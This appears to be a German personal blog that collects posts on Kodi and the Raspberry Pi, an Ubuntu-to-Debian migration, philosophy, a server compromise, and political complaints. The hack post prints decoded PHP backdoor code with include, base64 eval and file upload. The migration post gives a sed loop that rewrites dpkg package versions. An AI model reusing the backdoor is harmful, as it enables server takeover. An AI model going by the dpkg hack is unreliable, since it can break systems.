Der Blog hier ist ziemlich vernachlässigt. Vielleicht hätte es genügend zu Schreiben gegeben. Dieser Server hat jetzt noch eine Domain mehr bekommen (dibpiraten.de)  und im Nachhinein betrachtet, war die ganze Arbeit für die Katz. Kein Wunder, dass ich nichts mehr über Politik schreibe.

Sich 5729 Fernsehsender mit einem kleinen Raspberry Pi 4 einzurichten, macht da einfach mehr Spaß. In der Zwischenzeit gibt es auch schöne Gehäuse für diesen kleinen Einplatinencomputer und mit Noobs ist die Einrichtung ein Kinderspiel als Dualboot Raspbian und LibreElec – beide Betriebssystem deswegen, weil KODI unter LibreElec einfach besser läuft, aber LibreElec viele Dinge nicht kann, die man doch mal haben möchte. Und sei es auch nur mal ein Dokument zu scannen und zu drucken oder im Internet zu surfen, das kann Raspbian halt besser. Als Fernseher und Musikabspielmaschine ist LibreElec mit Kodi aber besser.

Würde ich mir den RasPi nochmal aufsetzen, dann wahrscheinlich mit Bootberry statt Noobs, weil Noobs kein Bluetooth kann und das nervt. Die Addons für KOBI, damit das Kistchen alles kann, was man so will, muss man sich zusammensuchen. AmazonVod bei Sandmann79 oder Netflix wieder woanders. Kodinerds ist ein Repository mit so dem wichtigsten deutschen Kram. Wer sich Kodi so richtig mit Kiddiekram zerschiessen will, der nimmt sich ein Limitless-Repository installiert den LuxuryWizard und hat danach ein zerschossenes überfrachtetes System, auf dem so gut wie nichts mehr ordentlich funktioniert, dafür lassen sich lauter illegale Sachen wie Bezahlfernsehen über dubiose Proxys anschauen.

Die über 5000 Fernsehsender gibt es hier https://github.com/iptv-org/iptv – die sagen zwar 8000 aber es funktionieren wohl nur so 5000 zumindest mit einer deutschen IP – was dann noch fehlt ist Pro7 und RTL – wer das sehen will kann sich joyn-Addon und TvNow-Addon besorgen bzw. Zattoo und Waipu – Zattoo funkioniert auch im TV-Modus Waipu nur als Videoaddon.

Das Youtube-Plugin will einen eigenen Apikey damit es richtig funzt. Funktioniert das funktionieren auch tutzende andere Plugins von SpiegelTV bis NASA – ist der Port 8080 bei Kodi freigegeben, dann kann von jedem Browser Videos zum Kodi gestreamt werden, der das Playkodi-Browserplugin hat.

Ansonsten die Addons für Kodi sind in Hülle und Fülle vorhanden. Man kann die DECT-Fritzboxsteckdose genauso ansteuern, aber manches geht wohl auf dem ARM-Prozessor nicht, manches Plugin geht davon aus, dass KODI auf einem Windows läuft, sonst wäre wohl auch ein Sipphone als auch ein externer Browser unter Kodi möglich. Kodi läuft auch unter dem Raspbian allerdings stürzt er bei mehreren Stunden dann manchmal ab unter libreElec läuft KODI halt stabil.

Wie auch immer KODI auf dem RasPI ist ein tolles Spielzeug – es kann eigentlich alles was Chromecast oder Firestick können und dann eben noch vieles vieles mehr. Der Chromecast verstaubt jetzt in der Ecke, seitdem an der Schnittstelle der RasPi hängt.

Der einfache Weg ohne Schmerzen ist – mach ein Backup von allem was dir wichtig ist. formatier die Festplatte. Installiere Debian. Fertig. Spiel die Daten wieder ein, die dir wichtig sind.

Nun zum komplizierten Weg, den der geneigte Leser vielleicht nur dann beschreiten will, wenn er viel Zeit hat oder aber schon die Paketauswahl bei der Installation von Debian aufgrund der Komplexität der funktionierenden Paketzusammenstellung ein Problem ist. In meinem Fall war es ein 10 Jahre altes System von der Hardware her und von der Software her wohl so 20 bis 30 Jahre alt.

Von den Daten her ist das System wohl älter als 30 Jahre.  Monkey Island erschien 1990 und funktioniert immer noch. Die Disketten sind irgendwann auf die Festplatte gewandert und selbst wenn die Hardware keine Diskettenlaufwerke mehr hat funktioniert das Spiel immer noch unter Linux. Wie welche Software dann noch funktioniert, ist eine Frage der Paketauswahl und die ist halt historisch gewachsen. Es lief unter Novelldos ebenso wie unter OS/2 und SuSE wanderte zu Gentoo und landete vor 10 Jahren bei Ubuntu. 

So alle zehn Jahre eine Migration zu einem anderen Betriebssystem macht natürlich schmerzen, aber das mit dem Festplatte formatieren und wieder einspielen, ist für ein Arbeitsystem ganz nett, aber nicht für so eine gewachsene Geschichte und dann ist da noch der Nerd in mir, ob das überhaupt geht.

Im Nachhinein ist man immer schlauer und nachdem ich die Migration durchgezogen habe, würde ich sagen es geht einfacher:

cd /var/lib/dpkg 

for i in `grep ^Version: status | cut -d‘:‘ -f2 | sort -u`; do sed -i s/Version: $i/Version: 0.1ubuntu1/g status; done

apt –fix-broken dist-upgrade

Zwar gibt es berichte im Internet, dass Sourcen eintragen und apt upgrade und apt dist-upgrade genügen würden, das was da hinterher rauskommt ist aber ein Fakeupgrade mit diversen Problemen. 

Es funktionert zwar aber es werden genügend Ubuntupakete auf der Festplatte bleiben, die mit dieser Methode nicht migriert werden. Unter anderem der Kernel wenn der Versionsunterschied nicht zu gross ist. Der Ubuntukernel ist daber kein Debiankernel, was auch andere kleine Schwierigkeiten mit sich bringt. Larry Finger schreibt zum Ubuntukernel:

„This code will build on any kernel 4.2 and newer as long as the distro has not modified any of the kernel APIs. IF YOU RUN UBUNTU, YOU CAN BE ASSURED THAT THE APIs HAVE CHANGED. NO, I WILL NOT MODIFY THE SOURCE FOR YOU. YOU ARE ON YOUR OWN!!!!!“

Da ich bei meinen Gehversuchen Ubuntu zu Debian zu migrieren, nicht bemerkt habe, dass der Kernel nicht migriert wurde – das System lief zunächst scheinbar normal – kann ich das nur bestätigen. 

Auf die Idee gebracht hatte mich:

https://www.glasen-hardt.de/2017/06/24/upgrade-von-ubuntu-16-04-auf-debian-9/

das funktioniert scheinbar, aber eben nur scheinbar. Danach hat man ein Mischsystem aus Debian und Ubuntu Paketen. Die Quelle der Updates ist zwar dann Debian, aber eigentlich läuft dann immer noch der Ubuntukernel und viel Ubuntusoftware, die nicht aktualisiert wurde. Die Ubuntupakete werden dann bis zum Sanktnimmerleinstag in der Ubuntuversion bestehen bleiben zum beispiel linux-kernel – welches es in Debeian nicht gibt.

Mein Weg nachdem die Migration scheinbar geklappt hatte, war mit Einzelpaketen etwas komplizierter und schmerzvoller. Letztlich aber um das System zu bereinigen kam nach Wochen 

for i in `grep ^Version: status | cut -d‘:‘ -f2 | sort -u`; do sed -i s/Version: $i/Version: 0.1ubuntu1/g status; done

ins Spiel. Möglicherweise muss ich 0.1ubuntu1 noch niedriger setzen um alle Ubuntupakete los zu werden, aber letztlich scheint es mir die einzige Möglichkeit um von A nach B zu gehen. 

 

 

 

 

 

 

 

 

Freiheit ist nicht beliebig denkbar. Als ich Anton Zeilinger in einem Gastvortrag an der LMU München hörte, behauptete er, dass ihm kein Philosoph die Frage hätte beantworten können, dass die Kaffeetasse in seinem Labor das Experiment beeinflussen könnte und diese Handlung, dann ja die physikalische Wahrheit beeinflusse.

Ich denke die Frage wurde von mehr als einem Philosophen bereits beantwortet, jedoch gefällt die Antwort dem Experimentalphysiker Zeilinger nicht. Es ist weniger eine Frage, wie die Antwort auf unsere Handlungsfreiheit lautet, sondern eher wie wir damit umgehen. Ähnlich dem Doppelspaltexperiment ist die Freiheit einerseits in unendliche Möglichkeiten als Freiheit wahrnehmbar, kann sich aber nur in einer Handlung vollenden.

So mag es den Experimentalphysiker verwirren, dass sein Handlung in Form des Messens das Experiment beeinflusst und würde er nicht messen, dann gäbe es den Einfluss nicht. Auf der anderen Seite, könnte er selbst das nicht tun, wenn nicht viele Handlungen in der Vergangenheit vorausgegangen wären. Die Freiheit etwas Neues zu entdecken, hat nur der, der das Alte kennt.

Selbstverständlich sind die Tatsachen des Physikalischen einerseits unbestritten andererseits aber nur auf einer zweitausendjährigen Handlungsabfolge denkbar. Es ist reine Spekulation, ob manches nicht hätte früher entdeckt werden können, wenn die Geschichtsläufe andere gewesen wären. Aber Zeilingers Kaffeetasse wird für Aristoteles zu einem undenkbaren Begriff, weil Kaffee kein Begriff gewesen wäre. Für das Wissen Kaffee muss ich weder wissen, dass der Begriff im 9. Jahrhundert entstanden ist, noch muss ich als Zuhörer das Problem verstehen. Wenn ich aber als Experimentalphysiker die Frage nach der Freiheit stelle, dann sollte einem wenigstens die Unfreiheit bewusst sein, die die Vergangenheit unabänderlich macht. Ohne diese Vergangenheit hiesse die Kaffeetasse nicht Kaffeetasse und wir hätten ohne diesem nicht einmal einen Begriff davon, was Zeilinger mit seiner Frage meinen könnte.

Aber vermutlich wäre Zeilinger nie Experimentalphysiker geworden, wenn er darüber zuviel nachgedacht hätte. Es ist wesentlich leichter die Begrifflichkeiten anzunehmen und auf diese Aufzubauen, als sie zu hinterfragen. Der Wissenserwerb im Vertrauen auf die festgelegten Begrifflichkeiten ist sicherlich angenehmer und einfacher.

Freiheit vollendet sich schon bei der Geburt dahingehend, dass zwar die theoretische Freiheit besteht eine der 4000 Sprachen der Menschheit zu wählen, aber tatsächlich die Muttersprache bestimmender ist für die Erstsprache eines Menschen. Damit Anton Zeilinger seine Frage überhaupt stellen kann, muss sich die gesamte Physik als Wissenschaft so entwickelt haben, wie sie sich entwickelt hat. Er hat in diesem Moment soviel Begrifflichkeiten bereits akzeptiert und als wahr angenommen, dass er wahrscheinlich nie Experimentalphysiker geworden wäre, wenn er das nicht hätte.

„ἐξ ὧν δὲ ἡ γένεσίς ἐστι τοῖς οὖσι, καὶ τὴν φθορὰν εἰς ταῦτα γίνεσθαι κατὰ τὸ χρεών· διδόναι γὰρ αὐτὰ δίκην καὶ τίσιν ἀλλήλοις τῆς ἀδικίας κατὰ τὴν τοῦ χρόνου τάξιν.“ soll vom Vorsokratiker Anaximander stammen „Von den aber, die sagen, das Prinzip sei eines, bewegt und unbegrenzt, hat Anaximander, Sohn des Praxiades, aus Milet, Nachfolger und Schüler des Thales, behauptet, Prinzip und Element der seienden Dinge sei das Apeiron, wobei er als erster diese Bezeichnung des Prinzips eingeführt hat. Er behauptet, dieses sei weder Wasser noch ein anderes der sogenannten Elemente, sondern eine bestimmte andere, unbegrenzte Natur, aus der alle Himmel und die darin befindliche Ordnung entstünden. Das Vergehen der seienden Dinge erfolge in die Elemente, aus denen sie entstanden seien, gemäß der Notwendigkeit: Denn sie zahlten einander Strafe und Buße für ihre Ungerechtigkeit nach der Ordnung der Zeit; so äußert er sich darüber in poetischeren Worten.“ und als die alten Griechen in der Renaissance nach Europa zurückkehren taucht Zeilingers Kaffeetasse mit den Worten auf „Wäre der Wille, vor zwei vollständig identische Alternativen gestellt, in der Lage, eine Alternative der anderen vorzuziehen?“ und wird auch als Buridans Esel bezeichnet. In der Informatik wird die Situation auch als Deadlock bezeichnet. Die Informatik hat übrigens drei Antworten zum Abstellen von Zeilingers Tasse. Das wären Abbruch, Warten auf ein veränderndes Ereignis oder Zurückgehen.

Nun ist es aber so, dass es zwei vollständig identische Alternativen gar nicht gibt. Zwei vollständig identische Alternativen würde bedingen, dass weder Zeit noch Ort verändert werden dürften. Alleine die Sonne bewegt sich mit circa 250 Kilometern pro Sekunde um das Zentrum der Milchstraße. Aber die Milchstraße als Galaxie entfernt sich von der nächsten lokalen Gruppe mit circa 60 km pro Sekunde. Jeder hat sich in einer Millisekunde mindestens 250 m von seinem Ort im Universum entfernt ohne irgendetwas getan zu haben. Wir könnten natürlich auch versuchen die Zeit anzuhalten, aber auch das wird uns nicht gelingen. All unsere Experimente sind dieser Bewegung unterworfen und wir können nur festhalten, was innerhalb dieser Bewegung gleich bleibt. Da scheint doch die menschliche Entscheidung, eine Kaffeetasse abzusetzen oder nicht, doch recht bedeutungslos.

Wir betrachten Wissen nur dann als Wissen, wenn es trotz dieser ständigen Änderungen, denen wir zwangsweise unterliegen, das Wissen sich nicht ändert. Genauso wie Buchstaben keine Buchstaben mehr wären, wenn sich die Regeln ihres Gebrauches sich sekündlich ändern würden. Die Begriffe wie Kaffeetasse bilden sich in der Zeit und überwinden dann die Zeit. In der Konstanz liegt letztlich das Verstehen und nicht in der Beliebigkeit. Unsere Freiheit ist nie beliebig, denn dann wäre auch Freiheit begriffslos.

Aber gerade das Wissen zeigt, dass damit nicht zu verstehen ist, dass etwas unveränderlich wäre. Überwunden wird das alte Wissen nicht dadurch, dass das Alte weggeworfen würde. Neues Wissen zeigt sich dadurch, dass das alte Wissen integriert wird. Die Freiheit etwas Neues zu entdecken, hat nur der, der das Alte kennt.

Dieser Server hier wurde also gehackt und zum Spammen missbraucht. Genauer gesagt es lag hier auf dem Server eine owncloud-Instanz rum, die phpunit als Modul installiert hatte und die Sicherheitslücke dieser zugegebenermaßen ungepflegten und ungewarteten darüber hinaus ungenutzten Instanz wurde gehackt und Code eingeschleust.


In den Logs kann man dann mit der Suche nach „Punkt n.php Fragezeichendir=“ (so geschrieben weil witzigerweise modsecurity hier das Update des Postings blockt, warum der Eindringling es dann trotzdem hochladen konnte, ist für mich noch ein Rätsel) dann sehen wo sich der Angreifer überall rumgegtrieben hat. Wie das Anlegen der tbmailer.php unter WordPress ging es wohl von Anfang an darum Spamsoftware zu installieren. Die tbmailer.php existierte auf jeden Fall schon am ersten August wurde aber nicht zum Spammen verwendet. Vielleicht funktionierte sie nicht so wie gewünscht.

Der Angreifer hätte auch alles von diesem Server löschen können, wenn er gewollt hätte oder lustige Bildchen hinterlassen mit „Dieser Server wurde gehackt„. Aber man bewegte sich unauffällig. An einem Tag hier ein bisschen und einem anderen Tag da ein bisschen. Am 3.8.2019 schlug man dann mit einer leafmailer.php in .well-known zu und jagte über 2 Tage so ungefähr 12.000 Spammails raus.

Installiert wurde die Datei von einer indonesischen Mobilfunkip aus. Der Angriff wäre nicht so nachvollziehbar, wenn der Angreifer die Logdateien gelöscht hätte. Möglich wäre ihm das gewesen, da der Apache auch Zugriff auf die Logs hat. Vielleicht hätte man das ja später auch getan und ist vielleicht nur schneller aufgeflogen als die Angreifer gedacht haben.

Ein bisschen ist ja mein Server wie ein Honeypot eine Ägyptische IP schaute sich eine config.php im Stammverzeichnis an. Die lag da von einer phpgedview-Installation unkonfiguriert rum und ich hatte sie nie gelöscht. Von aussen ist die auch über https://bgeserver.de/config.php erreichbar. Aber über IndoXploit sieht man natürlich dann auch den Quelltext der Datei. Wäre sie konfiguriert gewesen, wäre darin ein Mysql-Passwort zu finden gewesen. Genauso erging es ihm mit einem unkonfigurierten Roundcube, dass da so rum lag. Eine amerikanische IP machte sich dann über wordpress her allerdings betrachtete er sich auch die config.php im Stammverzeichnis.

Logeinträge wie

„Undefined index: act in „…“ on line 1739, referer: „…“idx_config&do=cpanel“

zeigen, dass auch nach einem Webserverkonfigurationsinterface gesucht wurde. Hat dieser Server nicht, ich mache alles mit ssh.

Weit verstreut auf dem Server befand sich danach ein haccess.php. Der Code dieser Datei war in base64 dekodiert und das entschlüsselte Ergebnis auch nochmal in base64 – das dann nochmal entschlüsselt ergab dann:

error_reporting(0); ${„GLOBALS“}[„dxpggwemd“]=“ev“;$kiejpi=“ev“;$imivhcblfl=“in“;$hgrptjcx=“in“;${„GLOBALS“}[„ysfombthhq“]=“in“;${$imivhcblfl}=$_GET[„in“];if(isset(${${„GLOBALS“}[„ysfombthhq“]})&&!empty(${$hgrptjcx})){echodie(include_once $in);}${$kiejpi}=$_GET[„ev“];if(isset(${${„GLOBALS“}[„dxpggwemd“]})&&!empty(${${„GLOBALS“}[„dxpggwemd“]})){eval(base64_decode(${${„GLOBALS“}[„dxpggwemd“]}));exit;}if($_GET[„send“]==“ok“){echo“<form action=\“\“ method=“post\“ enctype=\“multipart/form-data“ name=\“country“ id=\“country“><input type=“file“ name=“file\“ size=“50\“><input name=“_con“ type=\“submit“ id=“_con“ value=\“home“></form> „;if($_POST[„_con“]==“home“){if(@copy($_FILES[„file“][„tmp_name“],$_FILES[„file“][„name“])){echo“done :d“;}else{echo“error“;}}exit;}

Wenn ich den Code richtig kapiere lassen sich damit dann beliebige Dateien auf den Server nachladen. 

Owncloud hatte ich Anfang 2016 auf dem Server für das Bündnis Grundeinkommen mal installiert, war aber als Arbeitsplattform irgendwie untauglich. Ich hätte das damals wieder löschen sollen, statt einfach ungewartet auf der Platte rumliegen zu lassen. Jetzt ist es gelöscht. 

Am meisten nervt mich wahrscheinlich, das ich nicht ganz rausgefunden habe, wann und wie genau sie reingekommen sind. Sowas

\x16\x03\x01\x00\x7F\x01\x00\x00{\x03\x03\x98\x83\x17\xE2\x08z&\x0F\x11\x12a\xA3\xB3\xAA9\xBD(7\x8E\xA5\xA9\xCE\xC9\xCD\xC8\xEB\x96\xA8\xF9\x06\xC0\xA5\x00\x00\x1C\xC0/\xC0+\xC00\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0

bekomme ich zumindest nicht sinnvoll dekodiert.

Nebenbei habe ich dann noch erfahren, dass es eine IT-Hotline für Notfälle von der bayerischen Polizei seit dem 1.8.2019 unter der 089/1212-4400 gibt. Habe dort nachdem ich mich auf Twitter über den Hack ausgekotzt hatte und die Polizei München mir diese Nummer empfahl tatsächlich angerufen.

VERGESST DIE NUMMER WIEDER DIE TAUGT NIX.

Nach einer Ansage für was sie alles nicht zuständig sind und 5 Minuten gedudel ich glaube es war Mozart oder Vivaldi hatte ich so einen „Fachmann“ am Apparat. Ich glaube, der hat kein Wort verstanden, was mein Problem ist. Sein Rat war doch tatsächlich ich solle den Rechner zur Polizeidienststelle bringen. Mal abgesehen davon, dass das hier gar kein Rechner ist, sondern eine virtuelle Maschine im Internet, besteht der Notfall ja darin den Spammer dahingehend zu stoppen, dass er keinen Spam mehr über diese Maschine schickt. Als ich dort anrief hatte ich die tbmailer.php unter WordPress noch gar nicht entdeckt. Den Spam über leafmailer.php hatte ich ja bereits gestoppt. Ich Naivling dachte mir „Oh toll, die Polizei hat für solche Fälle jetzt eine Notfall Hotline und kann Tipps geben, was man schauen sollte.“ Pustekuchen!

Das die Eindringling IndoXploit verwenden wusste ich zum Zeitpunkt meines Anrufes bereits und dass der Spam über leafmailer.php eingesteuert wurde auch. Aber für die IT-Notfall-Hotline war das alles spanische Dörfer. Der wusst noch nicht mal was Owncloud ist, mit der Bemerkung, dass man ja nicht jeden Trojaner kennen könne. Autsch – ausgerechnet, das was kein Trojaner war, sondern die befallene Software bezeichnete er als Trojaner. Das richtig gefährliche Zeug wie die Backdoorshell IndoXploit war ihm ebenso unbekannt wie leafmailer.php. Wahrscheinlich dürfen die in der Behörde kein Google benutzen. Der erste Link bei der Suche nach leafmailer.php wirft das https://github.com/bediger4000/php-malware-analysis/tree/master/leafmailer aus. Und einmal IndoXploit eingeben und man landet beim Sourcecode https://github.com/linuxsec/indoxploit-shell

Der Anruf war also eher was zum Lachen oder Weinen, aber auf keinen Fall eine Hilfe. Nachdem ich ihm erklärt hatte, dass das mit dem Rechner zur Polizei bringen nicht ist, weil das kein phyiskalischer Rechner ist. Fasselte er was ich solle zur Polizeidienststelle gehen und dann halt dort Zugriff auf den Rechner im Netz geben. Dann erklärte ich ihm, dass quasi die Polizeidienststelle ihn empfohlen hätte https://twitter.com/PolizeiMuenchen/status/1159035915081310208

Er erklärte mir dann, dass die Polizeidienststelle die Hotline wohl falsch verstanden hätte. Nun gut ich kann es der Polizei nicht verübeln, denn den Tweet den sie zitierte sagte vom Bayerischen Landeskriminalamt:

Hotline der Bayerischen Polizei für IT-Notfälle:
089/1212-4400
Hilfe bei Internet-/Computerkriminalität, z.B.
Phishing-Mails
Passwort-Hacking
Schadsoftware

Und jetzt überlegt Euch, was obiger Fall mit dem leafmailer.php eigentlich ist

Große Sprüche über Twitter raushauen, aber eigentlich gar nicht liefern können. Als ich ihm noch erklärte, dass der Täter aus Indonesien eingebrochen ist und die Münchner Polizei da wohl etwas machtlos sei, war das Gespräch eigentlich zu Ende.

Er meinte noch, ich könnte den Schaden ja anzeigen. Danke verzichte, wenn ich den Rechner dann zur Polizeidienststelle tragen muss – möglicherweise das ganze Rechenzentrum – mein Provider killt mich, wenn ich das täte.

Fazit lasst keine alte ungepflegte Software rumliegen und habe einen Blick auf die CVEs und vergesst die deutsche Polizei bei Internetkriminalität, die haben immer noch null Ahnung. Es ist ein Trauerspiel.

 

 

 

Die Schlagzeile klingt jetzt nicht glaubhaft. Doch ich möchte in diesem Artikel darlegen, wie unsere Gesetzgebung dazu geführt hat, dass das Kindergeld letztlich bei Münchner Vermietern und nicht bei den Kindern landet. Weder die Politik noch die Öffentlichkeit interessiert das. Es schreibt ja auch niemand darüber und der Effekt als solches ist ja unbekannt.

Mit der Änderung des Sozialgesetzbuches und der Abschaffung der Arbeitslosenhilfe wurden die Bedarfsgemeinschaften eingeführt. Jedes Haushaltsmitglied ist somit für den Gesamtbedarf der Familie in der Haftung. Hierbei ergeben sich die Berechnungen des Bedarfes nach dem SGB II und das Kindergeld wird als Einkommen verrechnet. Arme Familien in München haben kein Wohneigentum. Sie wohnen so meist zur Miete.

Um darzustellen, warum das Kindergeld letztlich beim Vermieter landet, betrachten wir uns als erstes die Situation vor Einführung des SGB II. Wir konstruieren jetzt erst die Ausgangssituation, dass beide Elternteile arbeiten und ein Kind zu hause haben. Trotz der Münchner Mieten gelingt es unserer Kleinfamilie mit den beiden Elterneinkommen und dem Kindergeld in München über die Runden zu kommen. Nun wird ein Elternteil arbeitslos. Das andere Elternteil arbeitet weiterhin. Zunächst bekommt das arbeitslose Elternteil Arbeitslosengeld und das Familieneinkommen genügt immer noch für Miete und Lebensunterhalt. Bei längerer Arbeitslosigkeit kam dann die Arbeitslosenhilfe zum Tragen. Hierbei wurde überprüft, ob der Haushalt kein Vermögen hat, aber die Höhe der Arbeitslosenhilfe richtete sich nach dem letzen Gehalt des nun arbeitslosen gewordenen Elternteils. Das Haushaltseinkommen bestand danach aus Arbeitseinkommen Elternteil A zuzüglich der Arbeitslosenhilfe des Elternteil B zuzüglich Kindergeld.

In diesem konstruierten Fall gehen wir davon aus, dass das Gesamteinkommen dadurch in einer Höhe lag, das kein Anspruch auf Wohngeld besteht und die Kleinfamilie immer noch davon leben kann. Das Kindergeld kommt mit der Unterhaltsverpflichtung der Eltern dem Kind voll zu gute.

Mit Einführung der Bedarfsgemeinschaft ist mit dem Arbeitslosengeld der Fall noch identisch ausser, dass die Fristen wielange Arbeitslosengeld gezahlt wird, verkürzt worden sind. Hatte das alte Arbeitslosengeld noch die Möglichkeit Anwartschaftszeiten bis zu 36 Monaten zu erwerben wurde das radikal auf 12 Monate zusammengestrichen. Wer in jungen Jahren auf die Arbeitslosengeld wegen ein Monat Zwischenarbeitslosigkeit verzichtet hatte um die Anwartschaftszeiten nicht zu verlieren, die er sich durch die einmonatige Auszahlung zunichte gemacht hatte, hat die Arschkarte gezogen. Er oder sie hätte sich lieber das Geld auszahlen lassen sollen, denn das gilt nicht mehr. Aber auch die Arbeitslosenhilfe gibt es nicht mehr. Stattdessen ist das Konzept der Bedarfsgemeinschaften gekommen. Damit ist aber nicht mehr die Armut des Haushalts als solches relevant, sondern jedes Einkommen aller Haushaltsmitglieder.

Und nun passiert bei der Berechnung folgende Perversität, anders kann man das gar nicht bezeichnen. Das Arbeitseinkommen des Elternteils, welches nicht arbeitslos ist wird voll auf den Bedarf angerechnet ebenso das Kindergeld wird voll auf den Bedarf angerechnet. Das arbeitslose Elternteil wird im Einkommen egal was es früher mal verdient hat auf 0 Euro gesetzt und ist von dem arbeitenden Elternteil ebenfalls voll zu versorgen. Um den Unterschied irgendwie mal in Zahlen darzustellen. Vor dem SGB II sähe so ein Fall so aus. Elternteil A bezöge Arbeitslosenhilfe von 1200 Euro. Elternteil B ein Bruttoeinkommen von 1800 Euro und dazu käme das Kindergeld 194 Euro hinzu macht ein Haushaltseinkommen abzüglich Steuern von ca. 2800 Euro. Davon sind dann auch die Münchner Mieten zu bezahlen, aber der Haushalt kann davon leben.

Die Berechnung von SGB II erfolgt nun aber folgendermaßen, das Einkommen wird vollständig auf die Familienmitglieder verteilt und zwar inklusive Kindergeld und zwar auf den Gesamtbedarf inklusive der Miete. Letztlich führt das dazu dass dem Kind ein Auszahlungsbetrag von 87 Euro zugestanden wird. Das heisst letztlich hat ein Teil des Kindergeldes der Vermieter erhalten. Statt einem Haushaltseinkommen mit Arbeitslosenhilfe von 2800 Euro steht der Familie je nach Höhe der Kaltmiete sagen wir mal 600 Euro ein Gesamtbedarf von ca. 1800 Euro zur Verfügung. Was bei einem Brutto von 1800 Euro insofern pervers ist, das quasi der Auszahlungsbetrag quasi durch Abgaben fast selbst finanziert ist. Allerdings geht das Kindergeld jetzt quasi an den Vermieter wo es bei der Arbeitslosenhilfe noch ein Familienzuschuss war.

§ 1 Steuergebiet, Steuergegenstand

(1) Mit fossilen Brennstoffen betriebene Antriebe und Motoren unterliegt im Steuergebiet der Fossilverbrennungsteuer. Steuergebiet ist das Gebiet der Bundesrepublik Deutschland ohne das Gebiet von Büsingen und ohne die Insel Helgoland. Die Fossilverbrennungsteuer. ist eine Verbrauchsteuer im Sinn der Abgabenordnung.

(2) Fossile Verbrennung im Sinn dieses Gesetzes ist das Verbrennen von Benzin, mittelschweren Ölen (Diesel), Heizöle, Schmieröle und Erdgas.

§2 Steuertarif

(1) Die Steuer beträgt für Produkte, die Antriebe und Motoren nach §1 Satz 1 enthalten, 50 Prozent des Nettoverkaufspreises.

Entweder hat Twitter einen Nazi eingestellt oder hat sich selbst auf die Seite der Nazis geschlagen auf jeden Fall wurde mein Twitteraccount gesperrt

Per Mail erhielt ich eine Nachricht von einem Freund, dem das gleiche passiert ist. Twitter scheint Wahlkampf für die Nazis zu machen. Es handelt sich um einen Tweet von 2018, der hier als Grund verwendet wird um meine Meinung zu unterdrücken. Wir sind in der Diktatur angekommen und anscheinend ist jetzt alles zuspät. #NieMehrCDU #NieMehrCSU #NieMehrSPD #NiemalsAfD

„Alle hätten im Vorfeld Straftaten begangen.“ berichtet die Süddeutsche anlässlich einer Anfrage der Grünen an die bayerische Staatsregierung bezüglich des Freiheitsentzuges von elf Menschen. Das Ungeheuerliche daran ist, dass die Begründung so ist, als wenn sie geantwortet hätten „Alle hätten mit dem Teufel gebumst.“ und da ja der Teufel bekanntlich etwas böses ist, ist der Freiheitsentzug gerechtfertigt. Wenn es wahr ist, dass sie Straftaten verdächtig sind und eine Anklage möglich ist, dann braucht es den Gewahrsam nicht, da dann völlig konform zur europäischen Menschenrechtskonvention an unverzüglicher Bekanntgabe der Anklage eine Haft völlig legitim ist. Der Konjunktiv ohne Anklage ist aber nicht menschenrechtskonform. Ohne diese Anklage ist der Freiheitsentzug Unrecht.

Mit dem Teufel gebumst zu haben, gibt es im Strafrecht nicht und das wohl aus gutem Grund, denn das hatten wir schon mal im Rechtssystem und mündete in willkürlicher Hexenverfolgung. Ein Rechtsstaat wird nicht zu einem Rechtsstaat in dem er Richter und Gesetze hat. Das bloße Beschreiten eines Rechtsweg macht immer noch keinen Rechtsstaat.

Unser Rechtsstaat, der aufgrund der derzeit geltenden Gesetze eigentlich keiner mehr ist, hat sich Prinzipien gegeben. Der Konjunktiv ist bei der Anklage kein Prinzip des Rechtsstaat. Die Logik ist ja sehr einfach. Es gibt eine Anklage, dann ist der Freiheitsentzug möglich, obwohl die Schuld noch nicht festgestellt ist. Es gibt keine Anklage, dann ist der Mensch wieder in Freiheit zu entlassen, obwohl möglicherweise eine Schuld vermutet wird, aber wenn es nicht zu einer Anklage reicht, dann gilt das Menschenrecht.

Diejenigen, die hier laut bayerischer Staatsregierung unter Freiheitsentzug leiden, mögen Straftaten begangen haben, dann ist eine Anklage möglich und vielleicht werden sie auch freigesprochen. Diese Menschen ohne Anklage festzuhalten ist aber ein ganz klarer Verstoß gegen das Menschenrecht. Da mit dem Teufel gebumst zu haben in den Augen der CSU möglicherweise eine Straftat ist, aber nicht nach dem Strafrecht, kann die Aussage, die elf Personen hätten eine Straftat begangen, gleichwertig mit der Aussage, sie hätten mit dem Teufel gebumst.

Da Professoren das bayerische Polizeiaufgabengesetz für verfassungskonform halten, kann das nur bedeuten, dass wir uns schon längst im Mittelalter befinden. Es ist vollkommen unverständlich wie juristische ausgebildete Professoren zu einer solchen Annahme kommen können, es sei denn sie haben selbst schon mehr Glauben als Verstand.

Das Mittelalter mit der Hexenverfolgung kann nicht so vorgestellt werden, dass damals nur ungebildete Menschen ohne Verstand vorhanden gewesen wären. Der Glaube an den Teufel war nur stärker. Unsere Teufel mögen heute anders lauten.

Wenn Menschen solche Fehler begehen, obwohl sie hochintelligent sind und jeden Juraprofessor halte ich für über dem Durchschnitt intelligent, dann befinden wir uns in einem Glaubenssystem. Und zwar ganz offensichtlich in einem wahnhaften Glaubenssystem.

Die Frage ist, wie konnte es nur schon wieder soweit kommen. Zwischen 1946 bis 1948 haben sich auch Juristen und Diplomaten hingesetzt und versucht Grundlagen zu schaffen. Sicherlich war sich nicht alle einig und entsprechend schwer war es wohl auch. Die drei Richtungen, die entstanden sind, waren das Grundgesetz, die europäische Menschenrechtskonvention und die Deklaration der Menschenrechte.

Alle drei sind aus der Vorgeschichte des historischen Hintergrunds zu denken. Die Bürgerrechte der französischen Revolution existierten auch vor dem dritten Reich. Es ist ja auch nicht so, dass vom Haager Landkriegsrecht bis zu vielen anderen historischen internationalen Vereinbarungen, gewisse Menschenrechtsverletzungen nicht schon immer ausgeschlossen waren. Die Schrecken des ersten aber insbesondere des zweiten Weltkrieges sollten also durch ein neues internationales und nationales Rechtssystem verhindert werden.

Diese drei grundlegenden Texte einer neuen Weltordnung beziehungsweise einer deutschen Ordnung unterscheiden sich. Das Grundgesetz stellte als erstes Prinzip die Würde des Menschen in den Vordergrund. Angesichts der Grauen, die einem Menschen nach seinem Tode widerfahren konnte, indem seine Asche auf Aschenbahnen gestreut wurde oder seine Haut zu Lampenschirmen verarbeitet wurde, sollte die Würde des Menschen der neue Grundpfeiler sein.

Die Grundlage der Deklaration der Menschenrechte ist Freiheit, Gerechtigkeit und Frieden. Auch die Deklaration erkennt die Würde des Menschen an. Das Bürgerrecht wird damit zum Menschenrecht.

